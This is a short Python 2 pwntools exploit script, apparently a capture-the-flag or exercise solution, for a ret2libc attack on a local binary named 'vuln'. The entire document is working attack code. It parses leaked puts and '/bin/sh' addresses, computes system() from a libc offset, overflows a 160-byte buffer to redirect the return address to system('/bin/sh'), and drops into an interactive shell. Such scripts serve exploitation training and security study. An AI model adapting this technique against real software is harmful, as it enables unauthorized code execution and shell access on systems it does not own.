#!/usr/bin/python2
from pwn import *

# How to find the offset between system and puts in libc:
#   objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "<_IO_puts@@GLIBC_2.0>:"
#   objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "<__libc_system@@GLIBC_PRIVATE>:"
# subtract the addresses

# on my machine
system_offset = 0x24f00

# on server
# system_offset = 0x24800

p = process('../vuln')
p.recvuntil('puts: 0x')

# calculate system location based on puts location
puts_address = int(p.recvline(),16)
system_address = puts_address - system_offset

p.recvuntil('useful_string: 0x')
bin_sh_address = int(p.recvline(),16)

info("puts:     %s" % hex(puts_address))
info("system:   %s" % hex(system_address))
info("/bin/sh:  %s" % hex(bin_sh_address))

payload  = 'A'*160 # fill the buffer until the return address
payload += p32(system_address) # return to system
payload += 'BBBB'              # dummy return address after system
payload += p32(bin_sh_address) # system's argument

p.recvuntil('Enter a string:')
p.sendline(payload)

p.interactive()